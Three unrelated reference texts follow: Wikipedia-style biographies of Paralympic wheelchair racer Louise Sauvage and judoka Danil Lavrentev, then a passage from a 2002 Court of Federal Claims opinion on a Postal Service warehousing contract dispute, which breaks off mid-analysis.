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Louise Sauvage
Alix Louise Sauvage, OAM (born 18 September 1973) is an Australian paralympic wheelchair racer and leading coach.
Sauvage is often regarded as the most renowned disabled sportswoman in Australia. She won nine gold and four silver medals at four Paralympic Games and eleven gold and two silver medals at three IPC Athletics World Championships. She has won four Boston Marathons, and held world records in the 1500 m, 5000 m and 4x100 m and 4x400 m relays. She was Australian Female Athlete of the Year in 1999, and International Female Wheelchair Athlete of the Year in 1999 and 2000. In 2002, her autobiography Louise Sauvage: My Story was published.
Early life
Sauvage was born in 1973 in Perth, Western Australia, the daughter of Rita (née Rigden) and Maurice Sauvage. Her mother was a Ten Pound Pom from Leicestershire, England, while her father was born in the British colony of Seychelles. She was born with a severe congenital spinal condition called myelomeningocele, which inhibits the function of the lower half of the body, giving limited control over the legs. In 1976 she was Perth's Telethon Child as part of a Channel 7 fund-raiser for children with disabilities. She used calipers to help walk until she received her first wheelchair. Her myelomeningocele required her to have 21 surgical operations by the time she was ten years old. As a preteen, Sauvage had scoliosis, and at 14, she had surgery to fix a curvature in her spine, using steel rods. The operation was only partially successful, and as an adult, she still has a curve of roughly 49 degrees. She has not had any subsequent surgery to fix the curve in her spine.
Sauvage grew up in Joondanna, Western Australia, attending Tuart Hill Primary School and Hollywood Senior High School before leaving to complete a TAFE course in office and secretarial studies. She underwent 20 operations before the age of 10. Her parents encouraged her to participate in sport from a very young age. She started swimming when she was three years old, with her parents enrolling her in swimming classes to help her build upper body strength. Sauvage started to compete in wheelchair sport at the age of eight. Before that time, she had attempted to play school sport with her classmates but her disability made it difficult. She took up competitive wheelchair racing when she was 15. Sauvage also tried wheelchair basketball as a youngster.
Competitive athletic career
From the ages of 10 to 13, Sauvage represented Western Australia in the national swim championships. She was forced to retire from swimming when she turned 14, because of surgery.
When Sauvage first started competing in wheelchair racing, the chairs all had four wheels and were similar to the chairs that they used off the track. The chairs did not have any form of steering. The front wheels were smaller than the back wheels, and when at high speed, they were prone to wobbling. By 1997, racing wheelchairs had basically finished undergoing massive changes to improve them.
In 1990, Sauvage competed in her first international competition in Assen, Holland, where she won gold in the 100 m setting a new world record. She also won the 200 m race but was disqualified for moving out of her lane. At the Stoke Mandeville Games in England the same year, Sauvage took gold in the 100 m, 200 m, 400 m, and two relays.
Paralympic Games
Before the start of the 1992 Summer Paralympics, Sauvage held Australian records for the 100 m, 200 m, 800 m, 1500 m and marathon in women's wheelchair racing events. She was being marketed by the Australian Paralympic Federation as Australia's top female wheelchair road racer. At the Barcelona Paralympic Games, she won gold medals in the 100 m, 200 m and 400 m and a silver in the 800 m TW4 events and finished sixth in Marathon TW3-4. In recognition of her athletic feats she was awarded a Medal of the Order of Australia. Sauvage was in danger of not going to the 1992 Paralympics because of funding issues for the Australian Paralympic Federation. The Federation made an emergency appeal for funding from the public in order to cover the cost of transporting the Australian team to Barcelona. The Federation found funding through a variety of small donations that allowed Sauvage and other Australian athletes to compete.
At the 1996 Atlanta Paralympic Games, she won four gold medals - 400 m (T53), 800 m (T53), 1500 m (T52-53) and 1500 m (T52-53) and finished fourth in Marathon (T52-53). She won these while having an injured wrist. She set world records in the 1500 m and 5000 m events during these Games. Sauvage won the 5000 m and the 400 m golds only an hour apart. At her final Paralympics in Sydney, 2000, she won two gold medals - 1500 m and 5000 m T54 events and silver medal in 800 m T54.
IPC Athletics World championships
Sauvage competed at three IPC Athletics World Championships. At the 1994 Championships in Berlin, Germany, she won four gold medals in T53 events - 800 m, 1500 m, 5000 m and Marathon. At the 1998 Championships in Birmingham, England, she won six gold medals in 800 m, 1500 m, 5000 m, Marathon - T55 events, 4 × 100 m and 4 × 400 m (T54-55). At her final Championships in 2002 at Lille, France, she won gold medal in 800 m T54 and silver medals in 1500 m and 5000 m T54.
Road racing
1993 was Sauvage's first year on the international wheelchair racing circuit, competing in the US and Europe. It was also the year that she got her first kneeling wheelchair. The pinnacle being the world-famous Boston Marathon where she recorded her first victory, in the women's wheelchair division, in 1997, breaking the stranglehold of the 'Queen of Boston', US racer Jean Driscoll. Sauvage went on to win a further three Boston titles in 1998, 1999 and 2001. She has won the Los Angeles Marathon, Honolulu Marathon and Berlin Marathon. Sauvage won the prestigious Oz Day 10K Wheelchair Road Race ten times – 1993–1999 and 2001–2003.
Demonstration events
From 1993 to 2001, Sauvage won every IAAF wheelchair demonstration event at IAAF World Athletics Championships. In that same period, she also won the demonstration events for wheelchair racing in the 800 metre race at the Olympic games. The 800 metre event does not require that athletes stay in their lanes after the first turn. For this reason, athletes like Sauvage are required to wear helmets when racing. In 2000, Sauvage won the Olympic demonstration event and was expected to win the Paralympic gold. She was upset by Canadian Chantal Petitclerc. The Australian delegation appealed the result, claiming the race was not fair because another racer, Ireland's Patrice Dockery, was disqualified for leaving her lane too early. The appeal was rejected, because Dockery was too far behind the front runners to impact the results. Sport academics who research the Paralympic Games consider this protest to be pivotal, because it shows the passion of athletes to win and the extent that sports people will go to claim gold. It also highlighted that the rivalries in the sport were real. Petitclerc said of her rivalry with Sauvage that "I dream more about Louise than I do my boyfriend." In 2002, Petitclerc beat Sauvage again at the 2002 Commonwealth Games, where the 800 metre event was a full medal event at the games for the first time. It was only the second time that Sauvage had lost to Petitclerc.
Training
Sauvage trained 10 to 14 hours a week when she was actively competing. Her training was very focused, and she attempted to make it fun to help her maintain interest. She often trained six days a week. Her training included boxing, swimming and racing between 25 and 35 km in a single session.
Frank Ponta was one of Sauvage's first coaches. She was subsequently coached by Jenni Banks, who oversaw much of Sauvage's development as an elite wheelchair athlete, from her first international success at the World Games in Assen in 1990, to her best ever medal tally at the Olympic and Paralympic Games in Atlanta in 1996. Andrew Dawes was her coach after the 1996 Paralympics.
Coaching career
After her retirement from competition, she became involved in coaching young wheelchair athletes, establishing a foundation to help support children with disabilities in 2001. In 2004, Sauvage started coaching other wheelchair athletes. The first athlete that she coached was Angie Ballard. Sauvage's coaching helped Ballard win gold 400 m and silver in the 100 m, 200 m, 800 m and 1500 m at the Summer Down Under Series in 2005.
Sauvage has attended several international competitions as a coach. She was an athletics coach with the Australian team 2008 Beijing Games and 2011 IPC Athletics World Championships. She is currently Wheelchair Track & Road Elite Development Coach at the New South Wales Institute of Sport and coaches Madison de Rozario.
Retirement
During her retirement from being an athlete, Sauvage created a consulting company that she works for. In 2010, Sauvage was a speaker at the IPC Women in Sport Summit. She spoke alongside Amy Winters and Jayme Paris.
In February 2011, Sauvage participated in the Charter Hall Malabar Magic Ocean Swim. The event was created to raise funds for Rainbow Club. It was Sauvage's first ocean swim. She finished the 1 km race in 25:19.
In 2011, as part of the Australian Centre for Paralympic Studies oral history project of the National Library of Australia, Ian Jobling conducted an extensive interview with Sauvage.
Disability rights
Sauvage and Paul Nunnar lobbied Virgin Blue during 2006 to drop a requirement that people in wheelchairs be accompanied by a carer if they wish to ride on a Virgin Blue aircraft. Previously, both athletes had tried to lobby Qantas to lift a limit of only two electric wheelchairs on domestic flights flying on Boeing 737s. The pair were ineffective because the change would have required a change in law, not in airline policy. Sauvage and Nunnar did receive an invitation to help train Qantas staff and help make staff more aware of the needs of disabled people.
Recognition
Sauvage was the Australian Paralympian of the Year in 1994, 1996, 1997 and 1998. She was also the Australian Institute of Sport (AIS) Athlete of the year in 1997 and in 2001 inducted into the AIS 'Best of the Best'. In 1998, she won the Australian of the Year Award in the ABIGGRIUOP National Sports Award category. In 2000, Sauvage was named the Female Athlete of the Year in the Sport Australia Awards. In 2000, she was named the "World Sportsperson of the Year with a Disability" at the first Laureus Sports Awards held in Monte Carlo. In 1999 and 2000, she was named the International Female Athlete of the Year. She was awarded the Australian Sports Medal in 2000.
At the 2000 Summer Paralympics in Sydney, Sauvage lit the cauldron during the opening ceremonies for the games. In 2004, Sauvage carried the Australian flag into the stadium at the 2004 Summer Paralympics.
In 2001, the State Transit Authority named a SuperCat ferry after Sauvage. The Louise Sauvage Pathway, a 6.3 km wheelchair-accessible bicycle and walking path within Sydney Olympic Park, is also named in her honour. Sauvage and New South Wales Treasurer Michael Egan christened the park on 6 March 2003.
She was inducted into the Sport Australia Hall of Fame in 2007. In 2009, Sauvage was awarded Legend status in the New South Wales Hall of Champions. In 2011, she was one of the first people to be inducted into the Australian Paralympian Hall of Fame, along with Frank Ponta and George Bedbrook. In 2012, she was inducted into the International Paralympic Hall of Fame. In 2014, she was inducted into the Athletics Australia Hall of Fame and the Sydney Olympic Park Athletic Centre Path of Champions.
In November 2018, Sauvage was awarded Sport NSW Coach of the Year. Young Athlete of the Year with a Disability. In 2019, Sauvage was made a Legend in the Sport Australia Hall of Fame. She became the first Australian Paralympian to be awarded Legend status.
Sauvage was awarded Paralympics Australia 2020 Coach of the Year.
In November 2021, she was awarded New South Wales Institute of Sport Coach if the Year.
Several Paralympians cite Sauvage as inspiring them to become athletes, including wheelchair racer Kurt Fearnley. | WIKI |
Danil Lavrentev
Danil Olegovich Lavrentev (Данил Олегович Лаврентьев, born 11 April 2003) is a Russian judoka and sambo practitioner. 2024 European finalist. U23 Russian national champion.
Sport career
Lavrentev started his sport career in sambo, where he won the 2019 World Cadet Championships in Riga, Latvia. In judo, he has two silver medals at the Grand Slam in Ulaanbaatar and Tashkent. At the 2024 European Championships he came in second place. | WIKI |
DART ADVANTAGE WAREHOUSING, INC., Plaintiff, v. UNITED STATES, Defendant.
No. 01-166C.
United States Court of Federal Claims.
June 4, 2002.
Robert J. Linhares, Rebman, Linhares & Beaehem, St. Louis, Missouri, counsel of record for the plaintiff, Joseph E. Rebman, Reb-man, Linhares & Beaehem, St. Louis, Missouri, of counsel.
Jason D. Marsh, United States Postal Service, Washington, D.C., counsel of record for the defendant.
OPINION
HORN, Judge.
FINDINGS OF FACT
In 1996, the United States Postal Service (USPS) issued a solicitation for full service commercial warehousing located within a thirty (30) mile radius of its Bulk Mail Center in St. Louis, Missouri. The warehousing services to be provided included receiving, handling, storing, product packaging, inventorying and shipping of USPS equipment.
In attachment 1 to the “Speeifica-tions/Statement of Work,” among other requirements, the USPS advised all bidders that:
The Postal Service’s preference is for one (1) warehouse with storage space of a minimum guarantee of 100,000 square feet. Multiple buildings in combination may be used if physically located within the same general business/commercial area and not to exceed a thirty (30) mile radius of the Bulk Mail Center. Only those buildings offered at the time of this proposal will be considered for a contract. Any suggested alternate site must be pre-approved in writing to the Contracting Officer. To meet the additional monthly space requirement, if necessary, a secondary warehouse location must be proposed at the time of the proposed submittal.
The solicitation and contract also indicated: “The period of performance of this contract is for 24 months after the effective date of the contract and an additional period of up to 96 months, subject to exercise of option items.”
In response to the solicitation, Dart Advantage Warehousing, Inc. (Dart) designated the Trade Center III warehouse at 3750 Rider Trail South, Earth City, Missouri as the facility that Dart would use to store the USPS equipment if awarded the contract. According to the Commercial Warehouse Profile submitted by Dart, Trade Center III had 200,000 square feet of available internal space, with the possibility of a ten-year renewal.
On September 6, 1996, the USPS awarded Dart Postal Service Contract No. 266351-96-B-1696 (contract). The original term of the contract was a two-year term, from October 1, 1996 through September 30, 1998, with four two-year term renewal options. Item Nos. 01A to 01D of the Contract Schedule phased in the square footage of guaranteed storage space over 180 days from the date the contract was signed. Item No. 01D states: “Guaranteed storage space day 180 to end of contract, 2 year term (see Note 1).” Accompanying Note 1 to Item No. 01D states: “Effective on the 180th day of the contract, guaranteed square footage will be 100.000 for the remainder of the contract term.” On June 21, 1996, in Amendment A01 to the Schedule, the first sentence of Section H(6) was amended to state: “The Postal Service may require the delivery of the numbered line item identified in the Schedule as an option item, in the quantity and at the price set forth in the Schedule.” The contract also provided time periods for preparation of and entry into a lease of the property to the USPS.
On September 19, 1996, Dart entered into a lease with the owner (owner) of Trade Center III. Under the terms of that lease, Dart leased from the owner 217,400 square feet of storage space at Trade Center III. The USPS was aware that Dart provided storage space and warehousing services at Trade Center III to two other tenants, during much of the time that it provided storage space and warehousing services to the USPS.
On February 6, 1998, the USPS issued Modification No. M01 which states: “This Modification is issued to exercise line Item 02 as additional space will be required. This additional space will be provided as per contract terms. Location: 3750 Rider Trail South, Earth City MO (9 Months 01-31-98 through 09-30-98).” Item No. 02 provided: “Additional monthly storage estimated 0-100.000 sq ft.”
On September 25, 1998, the first two-year renewal option was exercised in Modification No. M05 for the period October 1, 1998 through September 30, 2000. Modification No. M05 states that: “All changes are effective 10-01-98.” Modification No. M05 also included a “Termination on Notice” clause, which states:
This contract may be terminated in whole or in part by either the Postal Service contracting officer or the contractor upon 180 days written notice. In the event of such termination, neither party will be ha-ble for any costs, except for payment in accordance with the payment provisions of the contract for the actual services rendered prior to the effective date of the termination.
From October 1, 1998 through August 31, 1999, Dart invoiced and the USPS paid-for the guaranteed space and varying quantities of additional monthly space. From September 1, 1999 through September 30, 1999, Dart only invoiced and the USPS paid for the guaranteed space of 100,000 square feet.
In May 1999, Dart entered into a “Second Amendment To Lease” with the owner of Trade Center III which, effective May 31, 1999, reduced Dart’s square footage at Trade Center III from 217,400 to 166,200, a 51,200 square foot reduction. Effective June 1, 1999, Best Buy Co., Inc. (Best Buy) entered into a separate lease agreement with the owner of Trade Center III for the lease of the 51,200 square feet of storage space released by Dart. Prior to leasing the 51,200 square feet of storage space from the owner, Best Buy reimbursed Dart for half of the lease costs for the 51,200 square feet of storage space in order to allow Best Buy to construct a wall that would separate the 51,-200 square feet of storage space to be occupied by Best Buy from the rest of the storage space leased by Dart at Trade Center III.
The dispute at issue in this case arose in June, 1999, regarding the total square feet of additional monthly storage space at Trade Center III that Dart was required to provide to the USPS above the 100,000 square feet of storage space guaranteed in the base contract following the issuance of Modification No. M01 and following September 30, 1998. On July 1, 1999, Dart offered the USPS an additional 50,000 to 70,000 square feet of storage space at a different facility located at 13890 Corporate Woods Trail, Bridgeton, Missouri (Bridgeton), and beginning on July 6, 1999, Dart directed all USPS loads to Bridgeton.
On August 26,1999, the USPS issued Modification No. M008, which terminated the contract “for default as contractor has failed to provide storage space per contract terms.” In Modification No. M008, the USPS also stated that: “All equipment will be out of the St Louis warehouse by COB 09/30/99 or sooner.” The complaint filed in this court by the plaintiff asserted that the USPS breached the contract by failing to give Dart 180 days advance written notice of termination pursuant to the Termination on Notice clause added in Modification No. M05. Dart seeks actual damages based on breach of contract for loss of rental payments during the 180 days Termination on Notice period, totaling $138,500.00, plus interest from the date of the certified claim submitted by Dart.
DISCUSSION
The parties have filed cross-motions for partial summary judgment pursuant to Rule 56 of the Rules of the United States Court of Federal Claims (RCFC). RCFC 56 is patterned on Rule 56 of the Federal Rules of Civil Procedure (Fed.R.Civ.P.) and is similar both in language and effect. Both rules provide that summary judgment “shall be rendered forthwith if the pleadings, depositions, answers to interrogatories, and admissions on file, together with the affidavits, if any, show that there is no genuine issue as to any material fact and that the moving party is entitled to a judgment as a matter of law.” RCFC 56(c); Fed.R.Civ.P. 56(c); see also Anderson v. Liberty Lobby, Inc., 477 U.S. 242, 247-48, 106 S.Ct. 2505, 91 L.Ed.2d 202 (1986); Adickes v. S.H. Kress & Co., 398 U.S. 144, 157, 90 S.Ct. 1598, 26 L.Ed.2d 142 (1970); Telemac Cellular Corp. v. Topp Telecom, Inc., 247 F.3d 1316, 1323 (Fed.Cir.), reh’g denied and reh’g en banc denied (2001); Monon Corp. v. Stoughton Trailers, Inc., 239 F.3d 1253, 1257 (Fed.Cir.2001); Avenal v. United States, 100 F.3d 933, 936 (Fed.Cir.1996), reh’g denied (1997); Creppel v. United States, 41 F.3d 627, 630-31 (Fed.Cir.1994). A fact is material if it will make a difference in the result of a case under the governing law. Irrelevant or unnecessary factual disputes do not preclude the entry of summary judgment. Anderson v. Liberty Lobby, Inc., 477 U.S. at 247-48, 106 S.Ct. 2505; see also Monon Corp. v. Stoughton Trailers, Inc., 239 F.3d at 1257; Curtis v. United States, 144 Ct.Cl. 194, 199, 168 F.Supp. 213, 216 (1958), cert. denied, 361 U.S. 843, 80 S.Ct. 94, 4 L.Ed.2d 81 (1959), reh’g denied, 361 U.S. 941, 80 S.Ct. 375, 4 L.Ed.2d 361 (1960).
When reaching a summary judgment determination, the judge’s function is not to weigh the evidence and determine the truth of the case presented, but to determine whether there is a genuine issue for trial. Anderson v. Liberty Lobby, Inc., 477 U.S. at 249, 106 S.Ct. 2505; see, e.g., Ford Motor Co. v. United States, 157 F.3d 849, 854 (Fed.Cir.1998) (the nature of a summary judgment proceeding is such that the trial judge does not make findings of fact); Johnson v. United States, 49 Fed.Cl. 648, 651 (2001); Becho, Inc. v. United States, 47 Fed.Cl. 595, 599 (2000). The judge must determine whether the evidence presents a disagreement sufficient to require submission to fact finding, or whether the issues presented are so one-sided that one party must prevail as a matter of law. Anderson v. Liberty Lobby, Inc., 477 U.S. at 250-52, 106 S.Ct. 2505; Jay v. Sec’y of Dep’t of Health and Human Servs., 998 F.2d 979, 982 (Fed.Cir.), reh’g denied and en banc suggestion declined (1993). When the record could not lead a rational trier of fact to find for the nonmoving party, there is no genuine issue for trial, and the motion must be granted. See, e.g., Matsushita Elec. Indus. Co. v. Zenith Radio Corp., 475 U.S. 574, 587, 106 S.Ct. 1348, 89 L.Ed.2d 538 (1986); Hall v. Aqua Queen Mfg., Inc., 93 F.3d 1548, 1553 n. 3 (Fed.Cir.1996). In such a case, there is no need for the parties to undertake the time and expense of a trial, and the moving party should prevail without further proceedings. Summary judgment:
saves the expense and time of a full trial when it is unnecessary. When the material facts are adequately developed in the motion papers, a full trial is useless. “Useless” in this context means that more evidence than is already available in connection with the motion for summary judgment could not reasonably be expected to change the result.
Dehne v. United States, 23 Cl.Ct. 606, 614-15 (1991) (citing Pure Gold, Inc. v. Syntex, Inc., 739 F.2d 624, 626 (Fed.Cir.1984)), vacated on other grounds, 970 F.2d 890 (Fed.Cir.1992); United States Steel Corp. v. Vasco Metals Corp., 55 C.C.P.A. 1141, 394 F.2d 1009, 1011 (C.C.P.A.1968).
Summary judgment, however, will not be granted if “the dispute about a material fact is ‘genuine,’ that is, if the evidence is such that a reasonable [trier of fact] could return a verdict for the nonmoving party.” Anderson v. Liberty Lobby, Inc., 477 U.S. at 248, 106 S.Ct. 2505; Eli Lilly & Co. v. Barr Labs., Inc., 251 F.3d 955, 971 (Fed.Cir.2001), cert. denied, — U.S. — 122 S.Ct. 913, 151 L.Ed.2d 879 (2002); Gen. Elec. Co. v. Nintendo Co., 179 F.3d 1350, 1353 (Fed.Cir.1999). In other words, if the nonmoving party produces sufficient evidence to raise a question as to the outcome of the case, then the motion for summary judgment should be denied. Any doubt over factual issues, must be resolved in favor of the party opposing summary judgment, to whom the benefit of all presumptions and inferences runs. Matsushita Elec. Indus. Co., Ltd. v. Zenith Radio Corp., 475 U.S. at 587-88, 106 S.Ct. 1348; Monon Corp. v. Stoughton Trailers, Inc., 239 F.3d at 1257; Wanlass v. Fedders Corp., 145 F.3d 1461, 1463 (Fed.Cir.), reh’g denied and en banc suggestion declined (1998).
The initial burden on the party moving for summary judgment to produce evidence showing the absence of a genuine issue of material fact may be discharged if the moving party can demonstrate that there is an absence of evidence to support the nonmoving party’s case. Celotex Corp. v. Catrett, 477 U.S. 317, 325, 106 S.Ct. 2548, 91 L.Ed.2d 265 (1986); see also Trilogy Communications, Inc. v. Times Fiber Communications, Inc., 109 F.3d 739, 741 (Fed.Cir.) (quoting Conroy v. Reebok Int’l, Ltd., 14 F.3d 1570, 1575 (Fed.Cir.1994), reh’g denied and en banc suggestion declined (1995)), reh’g denied and en banc suggestion declined (1997); Lockwood v. Am. Airlines, Inc., 107 F.3d 1565, 1569 (Fed.Cir.1997). If the moving party makes such a showing, the burden shifts to the nonmoving party to demonstrate that a genuine dispute regarding a material fact exists by presenting evidence which establishes the existence of an element essential to its case upon which it bears the burden of proof. See Celotex Corp. v. Catrett, 477 U.S. at 322, 106 S.Ct. 2548; Am. Airlines v. United States, 204 F.3d 1103, 1108 (Fed.Cir.2000); see also Schoell v. Regal Marine Indus., Inc., 247 F.3d 1202, 1207 (Fed.Cir.2001).
Pursuant to RCFC 56, a motion for summary judgment may succeed whether or not accompanied by affidavits and/or other documentary evidence in addition to the pleadings already on file. Celotex Corp. v. Catrett, 477 U.S. at 324, 106 S.Ct. 2548. Generally, however, in order to prevail by demonstrating that a genuine issue for trial exists, the non-moving party must go beyond the pleadings by use of evidence such as affidavits, depositions, answers to interrogatories and admissions. Id.
Even if both parties argue in favor of summary judgment and allege an absence of genuine issues of material fact, however, the court is not relieved of its responsibility to determine the appropriateness of summary disposition in a particular case. Prineville Sawmill Co. v. United States, 859 F.2d 905, 911 (Fed.Cir.1988) (citing Mingus Constructors, Inc. v. United States, 812 F.2d 1387, 1391 (Fed.Cir.1987)); Chevron USA, Inc. v. Cayetano, 224 F.3d 1030, 1037 n. 5 (9th Cir. 2000), cert. denied, 532 U.S. 942, 121 S.Ct. 1403, 149 L.Ed.2d 346 (2001). “[Sjimply because both parties moved for summary judgment, it does not follow that summary judgment should be granted one or the other.” LewRon Television, Inc. v. D.H. Overmyer Leasing Co., 401 F.2d 689, 692 (4th Cir.1968), cert. denied, 393 U.S. 1083, 89 S.Ct. 866, 21 L.Ed.2d 776 (1969); see also B.F. Goodrich Co. v. U.S. Filter Corp., 245 F.3d 587, 593 (6th Cir.2001); Massey v. Del Labs., Inc., 118 F.3d 1568, 1573 (Fed.Cir.1997). Cross-motions are no more than a claim by each party that it alone is entitled to summary judgment. The making of such inherently contradictory claims, however, does not establish that if one is rejected the other necessarily is justified. B.F. Goodrich Co. v. U.S. Filter Corp., 245 F.3d at 593; Atl. Richfield Co. v. Farm Credit Bank of Wichita, 226 F.3d 1138, 1148 (10th Cir.2000); Allstate Ins. Co. v. Occidental Int’l., Inc., 140 F.3d 1, 2 (1st Cir.1998); Reading & Bates Corp. v. United States, 40 Fed.Cl. 737, 748 (1998). The court must evaluate each party’s motion on its own merit, taking care to draw all reasonable inferences against the party whose motion is under consideration. DeMarini Sports, Inc. v. Worth, Inc., 239 F.3d 1314, 1322 (Fed.Cir.2001) ; Gart v. Logitech, Inc., 254 F.3d 1334, 1338-39 (Fed.Cir.2001), cert. denied, — U.S. —, 122 S.Ct. 921, 151 L.Ed.2d, 886 (2002). After reviewing the parties’ submissions, the court finds that there are no material facts in dispute.
Contract Interpretation
The interpretation of a government contract is a matter of law. See Grumman Data Sys. Corp. v. Dalton, 88 F.3d 990, 997 (Fed.Cir.1996); P.J. Maffei Bldg. Wrecking v. United States, 732 F.2d 913, 916 (Fed.Cir.1984) ; Hol-Gar Mfg. Corp. v. United States, 169 Ct.Cl. 384, 386-87, 351 F.2d 972, 973 (1965). As a matter of law, contract interpretation issues are amenable to decision on summary judgment. See Olympus Corp. v. United States, 98 F.3d 1314, 1316 (Fed.Cir.1996); Gov’t Sys. Advisors, Inc. v. United States, 847 F.2d 811, 813 n. 1 (Fed.Cir.1988); Metric Constructors, Inc. v. United States, 44 Fed.Cl. 513, 520 (1999), aff'd, 10 Fed.Appx. 853 (Fed.Cir.2001). General rules of contract interpretation apply to contracts to which the government is a party. Lockheed Martin IR Imaging Sys., Inc. v. West, 108 F.3d 319, 322 (Fed.Cir.1997). The primary objective in contract interpretation is to discern the parties’ intent at the time the contract was executed. King v. Dep’t of the Navy, 130 F.3d 1031, 1033 (Fed.Cir.1997); Winstar v. United States, 64 F.3d 1531, 1540 (Fed.Cir.1995) (citing Arizona v. United States, 216 Ct.Cl. 221, 234, 575 F.2d 855, 863 (1978)), aff'd on other grounds, 518 U.S. 839, 116 S.Ct. 2432, 135 L.Ed.2d 964 (1996). The language of the “contract must be given that meaning that would be derived from the contract by a reasonable intelligent person acquainted with the contemporaneous circumstances.” Hol-Gar Mfg. Corp. v. United States, 169 Ct.Cl. at 388, 351 F.2d at 975. Moreover, words are to be given their plain and ordinary meaning. Thanet Corp. v. United States, 219 Ct.Cl. 75, 82, 591 F.2d 629, 633 (1979). In addition, a court must give reasonable meaning to all parts of the contract and not render portions of the contract meaningless. See Lockheed Martin IR Imaging Sys., Inc. v. West, 108 F.3d at 322 (citing Gould, Inc. v. United States, 935 F.2d 1271, 1274 (Fed.Cir.1991)); McAbee Constr., Inc. v. United States, 97 F.3d 1431, 1434 (Fed.Cir.), reh’g denied and en banc suggestion declined (1996); Fortec Constructors v. United States, 760 F.2d 1288, 1292 (Fed.Cir.1985) (citing United States v. Johnson Con trols, Inc., 713 F.2d 1541, 1555 (Fed.Cir.1983)). To ascertain the intentions of the parties, the contract should be construed in its entirety, “so as to harmonize and give meaning to all its provisions.” Thanet Corp. v. United States, 219 Ct.Cl. at 82, 591 F.2d at 633 (citing ITT Arctic Servs., Inc. v. United States, 207 Ct.Cl. 743, 751-52, 524 F.2d 680, 684 (1975); Northwest Marine Iron Works v. United States, 203 Ct.Cl. 629, 637, 493 F.2d 652, 657 (1974)).
The parties contract with knowledge of the law. See Fed. Crop Ins. Corp. v. Merrill, 332 U.S. 380, 384-85, 68 S.Ct. 1, 92 L.Ed. 10 (1947). “[T]he parties are presumed to be aware of applicable statutes and to intend to incorporate them.” 24 Corbin on Contracts § 24.26, at 273 (1998). In this regard, the law becomes a part of the contemporaneous circumstances of the contract’s execution and is incorporated, without reference, into the agreement itself. See Norfolk & W. Ry. Co. v. Am. Train Dispatchers Ass’n, 499 U.S. 117, 130, 111 S.Ct. 1156, 113 L.Ed.2d 95 (1991) (“Laws which subsist at the time and place of the making of a contract ... enter into and form a part of it, as fully as if they had been expressly referred to or incorporated in its terms.”); see also 24 Corbin on Contracts § 24.26, at 271 (noting that rules and regulations are always considered as contemporaneous circumstances). As a result, the parties are presumed to have intended to create a valid, binding contract and the court should resolve alternative interpretations of contract language so as not to void the contract. See Torncello v. United States, 231 Ct.Cl. 20, 27, 681 F.2d 756, 761 (1982) (citing Arizona v. United States, 216 Ct.Cl. at 235-36, 575 F.2d at 863); Truong Xuan Truc v. United States, 212 Ct.Cl. 51, 64 n. 11 (1976) (noting that a court should construe contract provisions, “if possible, to be lawful rather than unlawful” and citing Hobbs v. McLean, 117 U.S. 567, 576, 6 S.Ct. 870, 29 L.Ed. 940 (1886)).
When the terms of a contract are clear and unambiguous, there is no need to resort to extraneous circumstances for its interpretation. See Sea-Land Serv., Inc. v. United States, 213 Ct.Cl. 555, 567, 553 F.2d 651, 658 (1977), cert. denied, 434 U.S. 1012, 98 S.Ct. 724, 54 L.Ed.2d 755 (1978). Construction of an unambiguous writing, therefore, is an appropriate matter for summary judgment. See Martin v. United States, 20 Cl.Ct. 738, 745 (1990); Kelley v. United States, 19 Cl.Ct. 155, 161 (1989). A written agreement is ambiguous when a plain reading of the contract could result in more than one reasonable interpretation. See Metric Constructors, Inc. v. NASA, 169 F.3d 747, 751 (Fed.Cir.1999); Tacoma Dept. of Pub. Utils. v. United States, 31 F.3d 1130, 1134 (Fed.Cir.1994) (citing Hills Materials Co. v. Rice, 982 F.2d 514, 516 (Fed.Cir.1992)). It is not enough that the parties differ in their interpretation of the contract clause. See Cmty. Heating & Plumbing Co. v. Kelso, 987 F.2d 1575, 1578 (Fed.Cir.1993). Nor may a court look to extrinsic evidence in determining whether a contract is ambiguous. See McAbee Constr., Inc. v. United States, 97 F.3d at 1435; Tacoma Dep’t of Pub. Utils. v. United States, 31 F.3d at 1134 (“Outside evidence may not be brought in to create an ambiguity where the language is clear.”). However, because an ambiguous or uncertain writing sometimes can only be understood upon consideration of the surrounding circumstances, extrinsic evidence will be allowed to interpret an ambiguous clause. See Sylvania Elec. Prods., Inc. v. United States, 198 Ct.Cl. 106, 126, 458 F.2d 994, 1005 (1972).
The parties have stated that the only issues presented for the court’s resolution in the pending cross-motions for summary judgment are as follows:
1. Whether under the terms of the contract Dart was required to provide the Postal Service with up to 200,000 square feet of storage space at the Trade Center III.
2. If it is determined that the Termination for Default was improper, does the contract require the Postal Service to provide 180 days written notice of termination.
Storage Space Requirement
To determine whether Dart was obligated under the contract to provide up to 200,000 square feet of storage space to the USPS for its equipment warehousing needs, the court must examine the relevant language in the contract. The Schedule, Section A — Items and Prices, Item No. 01D, regarding guaranteed storage space states: “Guaranteed storage space day 180 to end of contract, 2 year term (see Note 1).” Accompanying Note 1 to Item No. 01D states: “Effective on the 180th day of the contract, guaranteed square footage will be 100,000 for the remainder of the contract term.”
Under the plain meaning of the language of accompanying Note 1 to Item No. 01D in the original contract, Dart was required to provide the USPS with 100,000 square feet of storage space for its warehousing needs. Pursuant to Section H.6, Option Item (Clauses 2-17) , the USPS, however, had the right at a future date to secure an estimated 100,-000 square feet of additional monthly storage space pursuant to Item Nos. 02, 08,10,12, or 14 in Section A of the contract (Items and Prices), depending on whether the additional storage space was to be provided during the original contract period or during one of the two-year option periods.
The Schedule, Section A — Items and Prices, Item No. 02, states: “Additional monthly storage estimated 0-100,000 sq ft (see Note 2).” Accompanying Note 2 to Item No. 02 states: “Additional monthly storage estimated at 0-100,000 Sq Ft is based on the best available information and does not constitute a guarantee. The rate must be billed only for the active floor space actually occupied by Postal Service equipment.” As amended, Section H.6, Option Item (Clauses 2-17) states:
The Postal Service may require the delivery of the numbered line item identified in the Schedule as an option item, in the quantity and at the price set forth in the Schedule. The contracting officer may exercise this option, at any time within the period specified in the Schedule, by giving written notice to the contractor. Delivery of the items added by the exercise of this option will continue immediately after, and at the same rate as, delivery of like items called for under this contract, unless the parties otherwise agree.
On February 6, 1998, the USPS issued Modification No. M01, an option “to exercise line Item 02 as additional space will be required.” Modification No. M01 went on to state that: “This additional space will be provided as per contract terms. Location: 3750 Rider Trail South, Earth City MO (9 months 01-31-98 through 09-30-98).” The latter date, September 30,1998, is the end of the original base term of the contract.
